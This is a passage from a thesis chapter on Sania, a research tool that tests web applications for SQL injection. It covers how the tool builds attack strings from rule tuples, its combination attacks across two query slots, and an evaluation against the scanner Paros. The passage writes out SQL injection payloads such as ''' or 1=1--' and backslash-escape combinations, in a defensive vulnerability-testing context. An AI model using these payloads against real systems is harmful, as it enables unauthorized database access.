
The attack code for a string shown above “’ or 1=1--” is generated from the
attack rule for a string, which is defined as, for example:

(true,
λ | ε,
or 1=1-- | ;select x from z--,
true).

This represents metaCharacter is required, userInput is either of the input from the
user (λ) or a blank (ε), insertedSQL is “or 1=1--” or “;select x from z--”,
and parentheses are required to create an attack code. When the metaCharacter
is required, Sania also chooses the proper quote type, a single quote (’) or a double
quote ("), according to the context of target slots. Since ø1 in the example is enclosed
in single quotes, a single quote is chosen for the metaCharacter. The attack rule also
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indicates parentheses are required. In this case, no parenthesis is used because none
of the ancestor nodes of ø1 holds any parenthesis.

The attack code for an integer above “123) or 1=1--" is generated from the attack
rule for an integer, which is defined as, for example:

(false,
λ,
or 1=1-- | ;select x from z--,
true).

The false for metaCharacter indicates no quote is required to end the password
value since an integer value is not enclosed in quotes. userInput has to use the
value of the password embedded into the innocent HTTP request. Since the value
of parenthesis is true, a right-parenthesis is embedded into the attack code to close
the left-parenthesis.

Table 4.1 shows examples of 22 attack rules. Each rule is written in the following
format as described before:

(metaCharacter, userInput, insertedSQL, parentheses).

In the list, an ε indicates a blank and a λ indicates a user input. Table 4.2 shows the
syntax of target slots, an example of the syntax in an SQL query, and their applicable
rules listed in Table 4.1. In the table, a χ indicates an arbitrary value and SQL keywords
are written in italics.

Note that some of the attack rules, (D and E in Table 4.1) are not usually used in
generating attacks because they might forcibly break the structure of the SQL queries.
Breaking the structure does not always indicate the success of an attack even when an
attack code is successfully injected into an SQL query, because the broken query is
never executed at the database. However, they can be optionally chosen when Sania
users need them to test their web applications.

In addition to the 22 attack rules that we prepared so far, we may need to define new
attack rules when a new type of SQL injection is discovered. Judging from the fact that
new attacks have emerged in the past as a result of the evolution of web technologies,
it is likely to be happened in the future since the technology has still been rapidly
progressing. Similar to the discussion about such new attack techniques, we also may
need to define new syntax and corresponding attack rules as introduced in Table 4.2,
when new syntax is defined in the SQL grammar. In our current implementation, the
attack rules are defined in XML, so that new attack rule can be easily added to Sania.

4.2.2.2 Combination Attack

A combination attack exploits two target slots at the same time. Sania inserts a special
character into the first target slot and an SQL keyword into the second to cause an SQL
injection. Suppose a web application issues the following SQL query:
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Table 4.1: Attack rules for creating a precise attack code
Label Attack rule

A (true, ε | λ, or ’1’=’1 | or "1"="1 | or
1=1-- | or 1=1;--, true)

B (false, λ, or 1=1 | or 1=1-- | or 1=1;--,
true)

C (false, 1=1 or, λ, false)
D (true, ε, ε, false)
E (true, λ, ε, false)
F (false, λ, WHERE 1--, true)
G (false, λ, -- | ;--, true)
H (false, λ, xxx--, true)

I (false, λ, AND 0 or 1=1 | AND 0 or
1=1-- | AND 0 or 1=1;--, false)

J (false, λ, passwd FROM xxx--, false)
K (false, λ, int, false)--)
L (false, λ, ,xxx int, false)

Label Attack rule
M (false, λ, from xxx--, true)

N (false, λ, THEN‘ xxx’END-- | THEN
1 END from passwd--, false)

O (false, λ, END from passwd--, false)

P
(false, ε, select * from xxx | insert into
xxx values(zzz) | delete from xxx where
zzz=0, true)

Q (false, λ, ,xxx, false)
R (false, λ, =0--, false)
S (false, ε, ε, false)

T (false, ε, (1+1) | (1-1) | (1*1) | (1/1),
true)

U (false, ε, ;select * from xxx, false)

V (false, λ, ;select * from xxx | ;select *
from xxx--, true)

SELECT * FROM users WHERE name=’ø1’ and password=’ø2’ (øi: target slot).

Sania inserts a backslash to the first target slot (ø1) and a string “ or 1=1--” to the
second (ø2). If they are not sanitized correctly, the resulting SQL becomes:

SELECT * FROM users WHERE name=’\’ and password=’ or 1=1--’.

The name parameter is identified as “’ and password=" because the injected back-
slash escapes the single quote. Thus, the where clause is evaluated true because “1=1"
is always true and the single quote at the end of the query is commented out by the two
hyphens “--".

Sania executes a combination attack only when the first target slot is enclosed in
quotes. This is because Sania can detect the vulnerability by a singular attack if the
first target slot that is not enclosed in quotes is vulnerable to a combination attack. As
shown above, to activate the SQL keyword injected into ø2, the quote indicating the
beginning of ø2 should be forced to indicate the end of ø1. To this end, if no quote
encloses ø1, at least one quote should be injected into ø1. Since Sania checks if a
quote can be injected into every target slot with singular attacks, Sania can detect the
vulnerability without executing combination attacks.

We defined two attack rules for combination attacks. Each attack rule is represented
as a four-element tuple:

(metaCharacter, formerSlot, latterSlot, parentheses).

The metaCharacter and parentheses are the same as those defined for singular
attacks. The metaCharacter represents whether or not to use a meta-character, (’)
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Table 4.2: Non-terminals in an SQL parse tree and attack rules to exploit them
Syntax of SQL example Attack
target slot rules

select-stmt select select-item from
from-item where ... B P

create-stmt create table from-item ... P
insert-stmt insert into from-item ... B P
delete-stmt delete from delete-tbl ... B P
drop-stmt drop drop-type ... P
update-stmt update from-item set ... B F P
replace-stmt replace from-item set ... P
truncate-
stmt

truncate table from-item
... P

union-stmt select-stmt union select-
stmt P

select-item -
alias χ M

update-prm χ1 = χ2 F

join-expr join from-item [on-expr
| using-expr] B F G

group-col group by χ Q
order-expr order by χ Q
order-prm asc | desc Q
having-expr having χ B

limit-expr limit limit-val | offset
offset-val G

limit-val long-val | jdbc-prm ... G
offset-val long-val | jdbc prm G
drop-type χ H

distinct-expr distinct [on select-expr-
item] J

top-expr top long-val J
using-expr using (χ) F G
function count(χ) B M R
parenthesis (χ) G M
index index-type col-name L

index-type primary key | index
index-name L

btwn-expr between btwn-start and
btwn-end B C

btwn-start χ I
btwn-end χ B
is-null-expr χ1 is [not-stmt] null χ2 B
inverse-expr -χ B

Syntax of SQL example Attack
target slot rules

on-expr on χ B
not-stmt not S
tbl-name χ G M R
tbl-col χ G M R
tbl-alias χ G M
col-name χ K
col-data-type χ L
col-index long-val B T

col-spec

default long-val

L| unsigned
| unique
| autoincrement

and-expr χ1 and χ2 B
or-expr χ1 or χ2 B
in-expr χ1 in χ2 B
like-expr χ1 like χ2 B
eq-to χ1 = χ2 B
not-eq-to χ1 != χ2 B
gt χ1 > χ2 B
gt-eq χ1 >= χ2 B
mt χ1 < χ2 B
mt-eq χ1 <= χ2 B
add χ1 + χ2 B C T
sub χ1 - χ2 B C T
mul χ1 * χ2 B C T
div χ1 / χ2 B C T
case-expr case χ end M
when-expr when χ N
then-expr then χ O
else-expr else χ O
jdbc-prm ? B
all-cols * M
null-val null B
double-val χ B T V
long-val χ B T V
date-val ’yyyy-mm-dd’ A
time-val ’hh:mm:ss’ A
timestamp-
val

’yyyy-mm-dd
hh:mm:ss’ A

string-val ’χ’ A
comment /*χ*/ | --χ U
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or ("), and the parentheses determines whether or not to insert parentheses to make
an SQL query syntactically correct. The formerSlot is a backslash to escape the
quote enclosing the first target spot. The latterSlot contains an SQL keyword that
an attacker attempts to inject. The two attack rules we defined are:

1. (true, \, or 1=1-- | ;select x from z--, true), which is used if the
second target slot is not enclosed in quotes, such as:

SELECT * FROM users WHERE name=’ø1’ and id=ø2 (øi: target slot).

2. (false, \, or 1=1-- | ;select x from z--, true), which is used if
the second target slot is enclosed in quotes, such as:

SELECT * FROM users WHERE name=’ø1’ and passwd=’ø2’ (øi: target slot).

In a combination attack, Sania chooses two target slots even if there are more than
two target slots in an SQL query. This is because attacking two target slots is sufficient
enough to detect a vulnerability against a combination attack. For example, a web
application issues the following SQL query:

SELECT * FROM users WHERE
name=’ø1’ and id=’ø2’ and password=’ø3’ (øi: target slot).

Suppose that Sania tries to exploit ø1, ø2, and ø3 by injecting a backslash into ø1 and
an arbitrary attack code into ø3. When a backslash exploits ø1, the value of the name
field in the resulting SQL query becomes “’ and id=”. Then, we have to insert a
string that makes a syntactically correct SQL query into ø2. Since ø2 is used for fixing
the broken syntax of the SQL query when we attempt to exploit ø1 and ø3 at the same
time, ø2 should not be a slot for injecting an attack code. As shown in this example, it
is impossible to attack all three target slots at the same time. So, we simply perform
testing for these three target slots by attempting to exploit only two target slots at a
time.

Sania carefully chooses a pair of target slots. If an improper pair is chosen, the
resulting SQL query will be syntactically broken. In the previous example, when Sania
tries to exploit ø1 and ø3, we have to insert an appropriate string into ø2 for not breaking
the structure of the SQL query. An attack code for ø2 is, for example, “and ’a’=’a”.
This attack code alters the structure of the SQL query by injecting single-quotes, al-
though the purpose of injecting this attack code was just for not breaking the structure
of the SQL query. Thus, the ø1 and ø2 pair is sufficient for detecting the SQL injection
vulnerability. Formally, to conduct a combination attack, two target slots need to be
adjacent, in our example, such as a ø1 and ø2 pair, and a ø2 and ø3 pair.

But if ø2 is not enclosed in quotes, Sania tries to attack the ø1 and ø3 pair. For
example, a web application generates the following SQL query:
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SELECT * FROM users WHERE
name=’ø1’ and id=ø2 and password=’ø3’ (øi: target slot).

The ø1 and ø3 pair is appropriate for the target slots for a combination attack, because
when ø1 is exploited by a backslash, the name field in the SQL query is:

“’ and id=ν2 and password=” (νi: a value for øi ),

in which the value for ø2 is incorporated into the name field in the SQL query. Thus, if
a target slot that is not enclosed in quotes exists between a pair of target slots, the pair
can also be a target slot for a combination attack.

For detecting vulnerabilities against another variant of combination attacks, a mutli-
byte SQL injection, Sania executes a singular attack with an attack code containing
only a single quote. The reason why Sania only executes a singular attack but not a
combination attack is because the vulnerability of a multi-byte SQL injection can be
detected only by observing how the single quote is processed in the web application.
Although a safe web application modifies a single quote into a set of two single quotes
or a set of a backslash and a single quote, if another string is generated, it may become
vulnerable. Because of this reason, Sania checks a suspicious character or a byte before
the injected single quote in the resulting SQL query, as well as checking the structural
change of the SQL query.

4.2.3 Checking Vulnerabilities
To check for an SQL injection vulnerability, Sania uses the well-known technique
called tree validation proposed in SQLGuard [33]. In the tree validation, the struc-
ture of an SQL query generated from an innocent request is juxtaposed with that of an
actual SQL query generated from an attack. As well as the appearance of the trees,
the syntax of each node is also compared. This technique determines that the attack is
successful if those structures are different.

4.2.4 Improving Accuracy of the Testing
Dynamic analysis scanners that inspect web applications externally have difficulty in
gathering information useful for generating effective attack codes, compared with static
analysis scanners that are able to investigate the details of the web applications from
the source code. Sania performs dynamic analysis while allowing the users to specify
additional information about the target web applications to improve the accuracy of the
testing. This information is called Sania-attributes. Sania optionally requests users to
input Sania-attributes after identifying target slots but before generating attack code,
so that Sania is able to optimize the process of attack generation and only generate
effective attacks using the information supplied as Sania-attributes. We prepared five
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Table 4.3: Sania-attributes to improve the accuracy of testing
Name Purpose

length-attribute To limit the maximum length of an attack code
equivalent-attribute To apply the same value to multiple fields
skip-attribute To exclude user-specified parameters from testing
preserve-attribute To detect a vulnerability of stored SQL injection
structure-attribute To accept the change of tree structure of SQL query

Sania-attributes as shown in Table 4.3, and introduce them in order. In the current
implementation, users input Sania-attributes through its graphical user interface (GUI).

4.2.4.1 Length Attribute

A database defines the maximum character length of a column (or a field in some
databases). An attack code longer than the maximum length will be rejected by the
database without executing the SQL query. To suppress the creation of such non-
executable attacks, Sania allows the users to specify the maximum length of an attack
code to be generated. A length-attribute is used to specify the maximum length so that
Sania does not create an attack code longer than that specified by the length-attribute.

4.2.4.2 Equivalent Attribute

In some web pages, a client needs to enter the same data into several input fields. For
example, a web page has a password field and its confirmation field to which the same
password must be entered. If these do not match, the web application rejects the request
and Sania can not reach the web page of interest. Sania allows the user to attach an
equivalent-attribute to HTTP parameters. By attaching an equivalent-attribute, Sania
inserts the same data into the parameters.

4.2.4.3 Skip Attribute

Sania excludes HTTP parameters from testing, if a skip-attribute is attached to the
HTTP parameters. This attribute is useful for stateful parameters described in Sec-
tion 4.2.1. By attaching a skip-attribute to the stateful parameters, Sania can skip testing
against them.

4.2.4.4 Preserve Attribute

To deal with a stored SQL injection presented in Section 2.1.3, Sania introduces preserve-
attribute. A preserve-attribute is attached to the parameter whose value appears in a
later SQL query triggered by another request. Sania records all the requests between
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Table 4.4: Structure-attributes and their acceptable expressions
Name Acceptable expressions

arithmeticExpression Number/mathematical statements
conditionalExpression Conditional statements such as AND/OR statements

relationalExpression
Relational statements used to compare two values,
such as LIKE and IS NULL statements

notExpression
Statements that can accept NOT expression, such as
BETWEEN, IN, and LIKE statements

subSelectExpression
Statements that can accept sub-SELECT expres-
sions, such as JOIN and FROM statements

the request containing a preserve-attribute and the request that triggers the SQL query.
To send an attack, Sania sends all the recorded requests and checks for a vulnerability
in the SQL query of interest. For example, a request R1 contains a parameter p1 but
does not trigger any SQL query. The second request R2 neither contains any parameter
nor triggers any issue of an SQL query. The third request R3 has no parameters but
issues an SQL query that contains p1. In this example, Sania can not identify p1 in
the SQL query triggered by R3, thus requires users to specify preserve-attribute. Sania
regenerates the requests (from R1 to R3) after sending the attack, and checks the SQL
query after R3.

4.2.4.5 Structure Attribute

We also added another Sania-attribute to optimize the tree validation for a special case
that we encountered during the preliminary experiments. We found an example where
the structure of a dynamically generated SQL query depends on the client’s inputs, even
though there was no vulnerability. The web application issues the following SQL query
and øcan hold an arbitrary arithmetic expression as well as a number:

SELECT * FROM users WHERE id=ø (ø: target slot).

The structure of this SQL query changes according to the value of ø, because an arith-
metic expression, for example “1 + 2”, is expressed as a subtree composed of two
number nodes. In case a number is applied to ø, the tree for øis expressed with only
a number node. Because of this, Sania judges the application to be vulnerable to SQL
injection even though it is not vulnerable. To avoid this problem, Sania allows the user
to attach a structure-attribute to an HTTP parameter, which enables the user to specify
several acceptable subtrees. Table 4.4 lists structure-attributes. In the above example,
the user can associate an arithmeticExpression attribute with the id field to let it
contain an arbitrary arithmetic expression.
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Figure 4.2: Implementation and vulnerability detection process of Sania

4.2.4.6 Automated Deletion of Inserted Data

Additionally, we also found a case where Sania needs to delete successfully injected
attack codes from database before executing the subsequent attacks. A web page, such
as a user registration page, issues an SQL query to insert user-supplied data into the
database. If Sania embeds an attack code into the data, the attack code is stored in the
database and will adversely affect subsequent attack results. For example, the web site
initially checks the database for the user ID specified in an HTTP request. If the user
ID is not in the database, an SQL query is issued to insert the new user information.
Otherwise, the SQL query is not issued and we cannot execute testing of any value in
the SQL query.

To avoid this, every data inserted into the database has to be deleted before the next
attack gets started. Suppose a web application issues an insert statement shown below
and the id column is defined to be unique.

INSERT INTO users(id,name) VALUES (333,’ø’) (ø: target slot).

This SQL query inserts a new user’s information with his id and name values. Since
the id value is already made by the innocent request, Sania needs to delete the inserted
data for preventing duplication errors at the database. To this end, Sania automatically
analyzes the insert statement sent to the database for constructing another SQL query
that deletes the inserted data as follows.

DELETE FROM users WHERE id=333 and name=’ν’ (ν: the value for a target slot).

4.3 Implementation
We implemented a prototype of Sania in Java that had 25,000 lines of code. In addi-
tion, it had a list of attack rules in XML that had 1,800 lines of code. As shown in
Figure 4.2, Sania consists of a GUI interface, an HTTP proxy, an SQL proxy, and a
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Figure 4.3: Snapshot of Sania at work (selecting Sania-attributes for improving attack
codes and flexible tree validation)

core component. The GUI interface supplies a panel to control Sania, and the HTTP
and SQL proxies intercept HTTP and SQL packets respectively. The core component
performs a task to detect SQL injection vulnerabilities, such as identifying target slots,
generating attacks, and checking vulnerabilities.

In this implementation, Sania requires two user involvements; accessing the target
web application with a browser and optionally providing Sania-attributes. By accessing
the web application, the browser sends an HTTP request, and the request triggers SQL
queries. Sania needs these packets for initializing the test. In addition, by providing
Sania-attributes, Sania can optimize the testing. Since the phase of providing the at-
tributes is after identifying target slots and before generating attacks, Sania can display
detailed information about target slots on the GUI panel as shown in Figure 4.3. A test
result is output as an HTML or XML document. The document contains information
about target slots, attack codes, and the structures of SQL queries, so that the user can
easily see how the SQL injection succeeded.

4.4 Experiments
This section presents our evaluation of Sania. We compare Sania with a public web
application scanner from two points of view: efficiency and false positives.
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Table 4.5: Subject web applications used in our evaluation
Subject Description Language LOC Target slot

E-learning Online Learning System
Java (Servlet)

3682 13 (24)
& JSP

Bookstore Online Bookstore JSP 11078 71 (117)
Portal Portal for club JSP 10051 98 (136)
Event Event tracking system JSP 4737 29 (50)
Classifieds Online Classifieds System JSP 6540 40 (64)
EmplDir Online Employee Directory JSP 3526 24 (38)

Table 4.6: Sania-attributes specified for evaluation

Subject
length- equivalent- skip- structure-
attribute attribute attribute attribute

E-learning 0 0 0 1 parameter (2 tree elements)
Bookstore 0 2 (1 pair) 30 0
Portal 25 0 28 0
Event 2 0 12 0
Classifieds 0 0 17 0
EmplDir 0 0 7 0

4.4.1 Experimental Setup
We selected six subject web applications to evaluate Sania. All of them are interactive
web applications that accept HTTP requests from a client, generate SQL queries, and
issue them to the database. Table 4.5 lists the subject web applications. Five of them
(Bookstore, Portal, Event, Classifieds and EmplDir) are free open source applications
from GotoCode [68]. We found some of them have already been used for providing
services in the real world. Each web application is provided in multiple programming
languages. We chose the JSP and PHP versions, but we show only the result of the
JSP version because there was no difference in the test results. The remaining one,
E-learning, is a JSP and Java Servlet application provided by IX Knowledge Inc. [69].
It was previously used on an intranet in the company but no longer used since a newer
version has been released.

Table 4.5 shows each subject’s name (Subject), a brief description (Description),
the languages in which the application was written (Language), the number of lines of
code (LOC), and the number of target slots (Target slot) with the total number of HTTP
parameters into which an attacker can attempt to inject attack codes in parentheses.

Before Sania started to generate attacks, we manually provided Sania-attributes.
Table 4.6 shows the number of attributes specified for each web application. Even
though we are not the authors of the subject web applications, it was easy for us to
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know application-specific information for providing Sania-attributes because we only
needed to look for information about the maximum character length allowed in the
database, input fields that must have the same value, and so on. Specifying them would
be even easier for the developers of a web application.

To compare Sania with existing techniques for discovering SQL injection vulner-
abilities, we decided to use Paros [42], after having carefully investigated 25 vulnera-
bility scanners: 15 scanners from Security-Hacks.com [70] and 10 scanners from In-
secure.Org [71]. Paros took second place in Top 10 Web Vulnerability Scanners at the
Insecure.Org. The popularity of Paros is quite high; more than 7,000 copies of Paros
were downloaded every month from August 2009 to June 2010 at SourceForge.net [72].
We therefore use Paros for our comparison.

At the top of the Insecure.Org ranking was Nikto [73], but it is not designed to
check for unknown SQL injection vulnerabilities. WebScarab [74] and Burpsuite [75]
have programming interfaces that allow third-party code to extend the functionality.
However, although they are really helpful to discover new vulnerabilities by hand, they
do not work automatically. Whisker [76] is a scanner that used libwhisker, a library for
testing HTTP servers, but is now deprecated in favor of Nikto that also uses libwhisker.
Wikto [77] has a Nikto-like functionality and some original functionalities, which also
does not discover unknown SQL injection vulnerabilities.

The other 4 scanners at Insecure.Org are commercial applications. The free editions
of WebInspect [47], Acunetix WVS [43], and AppScan [44] allow us to perform testing
only for specified websites, so we could not test our subject websites. By analyzing the
techniques they evaluated the specific websites, we concluded that their techniques are
fundamentally the same as that of Paros, which is described later. The free edition of
N-Stealth [78] does not perform SQL injection testings, thus we could not analyze its
technique.

The 15 scanners from Security-Hacks.com were not suitable for the comparison for
the following reasons. Eleven scanners1 were designed to exploit known vulnerabilities
to assess how well the web applications stand up to attacks. SQID [90] uses Google
Search to help find information related to SQL injection vulnerabilities from the Inter-
net. The SQL Power Injector [91] and FG-Injector Framework [92] help to find SQL
injection vulnerabilities; some attack codes are automatically generated. However, the
users must manually specify the target slots one by one, and also must manually assess
whether the attack succeeded or not.

Brute-forcer [93] automatically finds target slots, generates attack codes, and as-
sesses the security of each target slot. It determines the existence of a vulnerability if a
database error is found in the response page. We executed Brute-forcer for our subjects

1SQLler [79], SQLbftools [80], SQLBrute [81], BobCat [82], SQLMap [83], Absinthe [84], SQL
Injection Pen-testing Tool [85], Blind SQL Injection Perl Tool [86], SQLNinja [87], Automagic SQL
Injector [88], and NGSS SQL Injector [89]
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Table 4.7: Results for Sania and Paros
Subject

Sania Paros
trials warns vuls. f.p. trials warns vuls. f.p.

E-learning 214 210 210 (21) 0 362 9 7 (5) 2 (2)
Bookstore 708 52 52 (26) 0 4802 8 0 8 (7)

Portal 1080 93 88 (44) 5 (5) 5477 20 0 20 (20)
Event 276 18 16 (8) 2 (2) 1698 21 0 21 (20)

Classifieds 498 32 32 (16) 0 1210 6 0 6 (6)
EmplDir 290 18 18 (9) 0 1924 13 0 13 (11)

total 3064 423 416 (124) 7 (7) 15473 77 7 (5) 70 (66)

but it could not find any vulnerabilities. This is because our subject applications filter
out all of the database errors in order not to give any clues to attackers; no database
error is contained in the response pages even if there is a vulnerability.

Consequently, we decided to use Paros for comparison. As shown later, Paros could
find SQL injection vulnerabilities in our subjects. The technique of Paros is based on
penetration testing that indiscriminately applies an attack code to every target slot, and
determines that an attack is successful if the response after an attack differs from a
normal response. Additionally, it determines that an attack is successful if the response
message contains pre-defined strings that indicate existence of vulnerability, such as
a database error, “JDBC.Driver.error”. This technique is also implemented in the
three commercial softwares, WebInspect [47], Acunetix WVS [43], and AppScan [44].
The differences among these tools (including Paros) exist in quality and quantity of
pre-defined attack codes and pre-defined strings that are used to determine existence of
vulnerability.

There is no significant difference in testing time between Sania and Paros. It took
around 15 minutes to perform testing for each subject application.

4.4.2 Results
Table 4.7 shows the experimental results for Sania and Paros. The table presents the
number of trials (trials), the number of warning messages that a tool reported as vul-
nerable (warns), the number of warning messages that were truly vulnerable with the
number of actual vulnerable target slots in parentheses (vuls.), and the number of warn-
ing messages that were false positives with the number of target slots that were not
actually vulnerable in parentheses (f.p.) for each subject. We checked whether each
warning was truly vulnerable. This table reveals that Sania found, using fewer trials,
more vulnerabilities for every subject and generated fewer false positives than Paros
did.
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Table 4.8: Details of vulnerabilities for Sania and Paros
Attack Type Sania Paros

Singular 194 (13) 7 (5)
Combination 222 (111) 0

Total 416 (124) 7 (5)

4.4.2.1 Accuracy of Attacks

Table 4.8 shows the total number of warnings for attack types. Note that there is no
vulnerability that Paros could find but Sania could not. The table reveals that Sania can
execute:

• Precise singular attacks. It found more vulnerabilities (124 slots) than Paros did
(5 slots). This is because Sania generates an elaborate attack according to the
syntax of a target slot. It was necessary to embed a parenthesis into attack codes
to detect the vulnerabilities that only Sania could detect.

• Powerful combination attacks. It found 111 vulnerable slots. A combination
attack requires knowledge about target slots in an SQL query. Therefore, it is
difficult for Paros to make a combination attack.

E-learning does not sanitize user input at all and is the only subject where Paros
could detect vulnerabilities. All vulnerabilities in the GotoCode applications are re-
vealed by combination attacks. For example, a web page of the Event application ac-
cepts a query-string, Login=xxx&Password=zzz, to authenticate a user’s log in, and
issues the following SQL query:

SELECT count(*) FROM users WHERE
user_login =’xxx’ and user_password=’zzz’.

When Sania sets a backslash to the value in the Login parameter, it can easily change
the structure of the resulting SQL query. Paros cannot find them because it does not
support any function to attack several target slots at the same time.

4.4.2.2 False Positives

Table 4.9 shows the number of false positives with the number of target slots that were
not actually vulnerable in parentheses. In total, Sania and Paros respectively raised 7
and 70 false positives.
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Table 4.9: Details of false positives for Sania and Paros

Subject
Sania Paros

f1 f2 f3 f4 f5 f1 f2 f3 f4 f5
E-learning 0 0 0 0 0 0 0 0 0 2 (2)
Bookstore 0 0 0 0 0 0 7 (6) 1 (1) 0 0

Portal 5 (5) 0 0 0 0 2 (2) 7 (7) 6 (6) 5 (5) 0
Event 2 (2) 0 0 0 0 1 (1) 8 (7) 8 (8) 4 (4) 0

Classifieds 0 0 0 0 0 3 (3) 3 (3) 0 0 0
EmplDir 0 0 0 0 0 5 (4) 4 (3) 4 (4) 0 0

total 7 (7) 0 0 0 0 11 (10) 29 (26) 19 (19) 9 (9) 2 (2)

f1: Data length error, f2: Attacking potentially safe slots, f3: Mishandling of dynamic contents, f4:
Data type error, f5: Duplicate warning

Data length error The maximum length of data is defined for each database. Sania
generated 7 false positives as a result of making attacks longer than the limitation, and
Paros also generated 11 false positives as shown in Table 4.9.

In our subject, Portal limits the length of the member_password to 15 characters,
and a web page in the application has a sanitizing function that translates a single-
quote into two single-quotes. We used length-attributes for limiting attack codes to
member_password to be less than 15 characters. However, the sanitizing operation
converted the attack codes to longer than the length defined by the length-attribute,
and the database rejected the attack code. After handling an error message from the
database, the web application generated a response page that is different from the ex-
pected one. Since the web application issued an SQL query that was not the expected
SQL query, Sania raised an alert. This happened 7 times.

On the other hand, Paros does not recognize the acceptable maximum length. It
would generate improperly long attack code and the web application would then return
an unintended response page. Then, Paros would determine the attack to be successful
because the response page was different from the intended one. This happened 11 times
in total.

Attacking potentially safe slots A parameter is potentially safe when it is a stateful
parameter. We attached a skip-attribute to such a parameter, so that Sania could skip
testing it. On the other hand, Paros executed the testing and wrongly evaluated it, which
generated 29 false positives as shown in Table 4.9.

Paros embedded an attack code to the value of stateful parameters, and generated
16 false positives. A stateful parameter is potentially safe because its value is not em-
bedded into any SQL query, but the same value happens to appear in an SQL query.
For example, in our evaluation, a FormAction parameter is used as a stateful param-
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eter in Bookstore. The parameter requires its value to be “insert" to insert new
member information, and to be “delete” to delete the existing user information. If a
value other than “insert" and “delete" is used, the web application makes the client
go back to the original page with an error, “java.sql.SQLException: Can not
issue empty query", without issuing any SQL queries. Therefore, if an attack code
is applied to this stateful parameter, no SQL query is issued and an unintended page is
returned. Paros recognizes this as a successful attack, which resulted in false positive.

Mishandling of dynamic contents Paros generated 19 false positives as a result of
mishandling of dynamic contents, while Sania generated no false positives, as shown
in Table 4.9. Some web applications dynamically generate web pages that contain the
values entered by a user. For example, in a web page in Classifieds, the user can
add a new category name. After the new category name is added, the web application
returns a page containing a list of all registered category names. When an attacker at-
tempts to inject an attack code to the category name field, the content of the response
page always changes even when the attack fails. Paros always misjudged this as vulner-
able because it regards the change in the response page as implying a successful attack,
and generated false positives. Sania generated no false positives because it judges the
success of an attack by looking at the structure of the SQL query.

Data type error Paros generated 9 false positives by injecting improper types of an
attack code, while Sania generated no false positive, as shown in Table 4.9. If the type
of an attack code is not equivalent to that of a corresponding column in a database, the
database returns an error to its host web application. When handling this error message,
some web applications generate response pages that are different from the intended
ones. For example, in a web page in Portal, the user enters a date-formatted string to
a “date_added” parameter. The corresponding column in the database accepts only a
date expression. Since Paros has no way of knowing the type of target slot, it executed
inappropriate attacks, and generated 9 false positives. On the other hand, since Sania
properly recognizes the type of a target slot by looking into the structure of the SQL
query, it did not inject incorrect data type attack code.

Duplicated warnings Paros generated 2 duplicated warnings, as shown in Table 4.9.
A duplicated warning is not a false alert but a redundant warning. For example, servlet
alias enables clients to use a shortcut URL to call a servlet. In E-learning, accessing
the URL:

http://hostname:port/E-learning/Security

is the same as accessing the following URL:

http://hostname:port/E-learning/user/jsp/login.jsp.
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Table 4.10: Results for Sania w/o all attributes

Subject
Sania w/o all attributes

trials warns vuls. f.p.
E-learning 214 214 210 (21) 4 (1)
Bookstore 954 346 50 (25) 252 (44)

Portal 1548 577 88 (44) 489 (61)
Event 450 191 16 (8) 175 (27)

Classifieds 626 154 32 (16) 122 (20)
EmplDir 344 72 18 (9) 54 (9)

total 4136 1554 414 (123) 1096 (162)

Table 4.11: Details of vulnerabilities for Sania w/o all attributes
Tool Total vuls. Description

Sania w/o
414

194 (13) singular attacks
all attributes 220 (110) combination attacks

While Paros tests all the pages indiscriminately, Sania users can choose the page of
interest to test, which suppresses this type of warning duplication.

4.4.3 Effectiveness of Sania-attributes
To measure the effectiveness of Sania-attributes, we also evaluated Sania without using
them for the same applications in the previous section. Table 4.10 shows the results
for Sania without any attribute. Compared with the results for Sania in Table 4.7, the
number of trials is larger, a lot of false positives occurred, and fewer vulnerabilities
were found. In this section, we present the details of their causes.

4.4.3.1 Accuracy of Attacks

Table 4.11 shows the number of vulnerabilities that Sania without any attribute found.
The table reveals that the same number of singular attacks were successful, but two
fewer combination attacks were successful and one fewer vulnerable slot was found
in comparison to the Sania results in Table 4.8. We confirmed that the undiscovered
target slot was truly vulnerable and determined that it was a false negative. This result
indicates that the Sania-attributes that are intended to reduce false positives can also
reduce false negatives.

The undiscovered slot was a set of two parameters in the user registration page of
Bookstore. The page requires the client to enter the same value to the two param-
eters, member_password and member_password2, in a request. When the applica-
tion receives a user request, the value of the two parameters are validated. If they are
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Table 4.12: Details of false positives for Sania w/o any one attribute
Sania w/o any one attribute

Subject w/o skip- w/o length- w/o equivalent- w/o structure-
attribute attribute attribute attribute

E-learning 0 0 0 4 (1)
Bookstore 216 (40) 0 36 (4) 0

Portal 306 (45) 190 (21) 0 0
Event 163 (27) 14 (2) 0 0

Classifieds 122 (20) 0 0 0
EmplDir 54 (9) 0 0 0

total 861 (141) 204 (23) 36 (4) 4 (1)

equal, the application registers a new user, but if not, the application returns an error
page without issuing any SQL query. In the evaluation of Sania with all attributes, we
attached equivalent-attributes to the two parameters. So, Sania successfully inserted at-
tack codes to them, let the application issue an SQL query, and this resulted in detecting
the vulnerability. However, Sania without any attribute had no means of knowing which
parameter had to share the same value with others and could not let the application issue
any SQL query.

4.4.3.2 False Positives

We evaluated Sania without using one of the attributes to measure the effectiveness of
each Sania-attribute. Table 4.12 shows the false positives occurred in this evaluation.
Compared with the results of the false positives of Sania in Table 4.9, quite a lot of
false positives occurred. Note that the total number of all false positives in Table 4.12
is not identical to that of the false positives in Sania without all attributes (shown in Ta-
ble 4.10), because some false positives were reported multiple times in this evaluation.

Skip-attribute Table 4.12 reveals that Sania without skip-attributes generated a lot
of false positives. They are caused by receiving unintended SQL queries, when the
values of stateful parameters are used for attacking. In the evaluation of Sania with all
attributes, we manually attached skip-attributes to stateful parameters so that Sania did
not attempt to insert attack codes to the parameters.

Length-attribute The lengths of some columns in the databases used in the Portal
and Event applications are small. Sania without length-attributes does not know the
acceptable length of an attack code, so the attempt to insert an overly long attack code
always failed, and results in false positive when the unintended SQL query is detected.
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On the other hand, Sania with length-attributes verifies the length of an attack code
before sending attacks.

Equivalent-attribute Sania without equivalent-attributes generated false positives
because of the data mismatching of the values of several parameters that must have
the same value. If data mismatching is detected and the web application returns an
error page that issues an unintended SQL query, a false positive occurs. Sania without
equivalent-attributes does not know which parameters should share the same value, so
it attempts to insert a different value to each parameter. On the other hand, Sania with
equivalent-attributes properly inserts the same value to the parameters specified by the
equivalent-attributes.

Structure-attribute The four false positives in E-learning were caused by dynamic
queries. A web page in the subject allows the user to enter an arithmetic expression
as well as a number in a single field. Since the tree structure of an arithmetic expres-
sion in SQL queries differs from that of a number, Sania regards the difference as a
successful attack. Sania without structure-attributes did not know which target slot
is allowed to have a subtree, so it raised an alert every time the structure of an SQL
